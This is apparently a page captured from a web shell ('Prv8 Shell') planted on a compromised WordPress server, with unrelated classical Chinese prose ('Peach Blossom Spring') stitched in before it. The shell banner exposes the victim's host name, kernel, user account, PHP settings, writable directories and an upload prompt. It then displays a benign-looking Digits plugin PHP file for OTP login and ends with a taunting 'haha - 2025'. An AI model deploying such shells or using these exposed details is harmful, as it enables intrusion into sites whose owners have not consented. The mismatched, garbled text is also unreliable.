晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/oldTZh/wp-content/plugins/digits/includes/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/oldTZh/wp-content/plugins/digits/includes/plugins/um.php
<?php

defined('ABSPATH') || exit;

add_action('um_submit_form_errors_hook__registration', 'um_dig_validate_mobileno', 999, 1);
function um_dig_validate_mobileno($args)
{
    global $ultimatemember;

    if (isset(UM()->form()->errors)) {
        if (is_array(UM()->form()->errors)) {
            if (count(UM()->form()->errors) > 0) {
                return;
            }
        }
    }
    if (empty($args['mobile_number'])) {
        return;
    }


    $mobile = sanitize_mobile_field_dig($args['mobile_number']);
    $countrycode = sanitize_text_field($args['digt_countrycode']);


    $code = sanitize_text_field($args['code']);
    $csrf = sanitize_text_field($args['csrf']);
    $otp = sanitize_text_field($args['digit_ac_otp']);

    $nounce = sanitize_text_field($args['dig_nounce']);

    $mobile = sanitize_mobile_field_dig($mobile);
    $countrycode = sanitize_text_field($countrycode);

    $mobuser = getUserFromPhone($countrycode . $mobile);
    if ($mobuser != null) {
        UM()->form()->add_error("MobinUse", __("Mobile number already in use!", "digits"));
    } else if (username_exists($countrycode . $mobile)) {
        UM()->form()->add_error("MobinUse", __("Mobile number already in use!", "digits"));
    }


    if (empty($otp)) {
        UM()->form()->add_error('user_mobileno', __('Unable to verify Mobile number', 'digits'));

        return;
    } else {

        if (verifyOTP($countrycode, $mobile, $otp, true)) {
            $mob = $countrycode . $mobile;
            $phone = $mobile;
        } else {
            UM()->form()->add_error('user_mobileno', __('Unable to verify Mobile number', 'digits'));

            return;
        }

    }


}


add_action('um_registration_complete', 'um_update_digits_data', 10, 2);
function um_update_digits_data($user_id, $args)
{

    if (empty($args['mobile_number'])) {
        return;
    }

    $phone = sanitize_mobile_field_dig($args['mobile_number']);
    $countrycode = sanitize_text_field($args['digt_countrycode']);


    if (!empty($phone) && !empty($countrycode)) {
        update_user_meta($user_id, 'digt_countrycode', $countrycode);
        update_user_meta($user_id, 'digits_phone_no', $phone);
        update_user_meta($user_id, 'digits_phone', $countrycode . $phone);
    }
}


add_action('um_after_form_fields', 'um_add_dig_otp_fields');
function um_add_dig_otp_fields($args)
{
    global $ultimatemember;
    ?>
    <input type="hidden" name="code" id="digits_um_code" value=""/>
    <input type="hidden" name="csrf" id="digits_um_csrf" value=""/>
    <input type="hidden" name="dig_nounce" class="dig_nounce" value="<?php echo wp_create_nonce('dig_form') ?>">
    <?php

    if (!empty($otp) || !empty($code)) {
        echo '<input type="hidden" value="1" id="um_sub" />';
    }

    ?>

    <div class="um-field dig_otp_um_reg" style="<?php echo 'display: none;'; ?>">
        <div class="um-field-label"><label for="digit_ac_otp"><?php _e("OTP", "digits"); ?></label>
            <div class="um-clear"></div>
        </div>
        <div class="um-field-area">
            <input type="text" class="input-text" name="digit_ac_otp" id="digit_ac_otp" data-key="user_otp" value=""/>
        </div>
    </div><br/>
    <?php
    echo "<div  class=\"dig_resendotp dig_um_regis_resend\" id=\"dig_man_resend_otp_btn\" dis='1'>" . __('Resend OTP', 'digits') . " <span>(00:<span>" . dig_getOtpTime() . "</span>)</span></div>";


}

add_action('init', 'dig_ump_login_update', 1);
function dig_ump_login_update()
{
    if (isset($_POST['ump_login_form']) && isset($_POST['form_id'])) {
        if (isset($_POST['mobile/email']) && isset($_POST['digt_countrycode'])) {
            $countrycode = sanitize_text_field($_POST['digt_countrycode']);
            $mob = sanitize_mobile_field_dig($_POST['mobile/email']);
            $form_id = sanitize_text_field($_POST['form_id']);
            if (is_numeric($mob)) {
                $user = getUserFromPhone($countrycode . $mob);
                $_POST['username-' . $form_id] = $user->user_login;
            } else {
                $_POST['username-' . $form_id] = $mob;
            }
            unset($_POST['mobile/email']);
        }
    }
}

add_action('um_after_login_fields', 'dig_ump_otp', 1001);

function dig_ump_otp()
{
    ?>
    <div class="ump_digits_otp_container">
        <input name="ump_login_form" value="1" type="hidden"/>
        <?php
        $dig_login_details = digit_get_login_fields();
        $passaccep = $dig_login_details['dig_login_password'];
        $otpaccep = $dig_login_details['dig_login_otp'];
        if ($otpaccep != 1) {
            return;
        }
        ?>
        <br/>
        <div class="digor"><?php _e("OR", "digits"); ?><br/></div>
        <br/>
        <input class="um-button dig_um_loginviaotp" value="<?php _e('Login With OTP', 'digits'); ?>" type="submit"/>

        <?php

        echo "<div  class=\"dig_resendotp dig_um_login_resend\" id=\"dig_man_resend_otp_btn\" dis='1'>" . __('Resend OTP', 'digits') . " <span>(00:<span>" . dig_getOtpTime() . "</span>)</span></div>";

        ?>
    </div>
    <?php
}


function dig_otp_bx_um()
{
    ?>
    <div class="um-field dig_otp_um_login" style="<?php echo 'display: none;'; ?>">
        <div class="um-field-label"><label for="digit_ac_otp"><?php _e("OTP", "digits"); ?></label>
            <div class="um-clear"></div>
        </div>
        <div class="um-field-area">
            <input type="text" class="input-text" name="digit_ac_otp" id="digit_ac_otp" data-key="user_otp" value=""/>
        </div>
    </div>

    <?php
}

add_action('um_after_login_fields', 'dig_otp_bx_um', 10);

function dig_um_login($args)
{
    if (!empty($args['digt_countrycode']) && !empty($args['username']) && is_numeric($args['username'])) {

        $_POST['countrycode'] = $args['digt_countrycode'];
        $_POST['mobmail'] = $args['username'];
        $_POST['password'] = $args['user_password'];
        _digits_process_form(false);

        if (is_user_logged_in()) {
            um_redirect_home();
        }

    }
}

add_action('um_submit_form_errors_hook_login', 'dig_um_login');

function digits_um_submit_form_error($error, $key)
{
    if ($key == 'invalid_username') {
        if (!empty($_POST['countrycode']) && !empty($_POST['mobmail'])
            && is_numeric($_POST['mobmail'])) {
            $mob = sanitize_text_field($_POST['countrycode']) . sanitize_mobile_field_dig($_POST['mobmail']);
            if (getUserFromPhone($mob)) {
                return '';
            } else {
                return esc_html__('Invalid Email/Mobile Number', 'digits');
            }
        }
    }
    return $error;
}

add_filter('um_submit_form_error', 'digits_um_submit_form_error', 10, 2);


function digits_um_after_password_reset_fields($args)
{
    wc_dig_lost_pass();
}

add_action('um_after_password_reset_fields', 'digits_um_after_password_reset_fields');

haha - 2025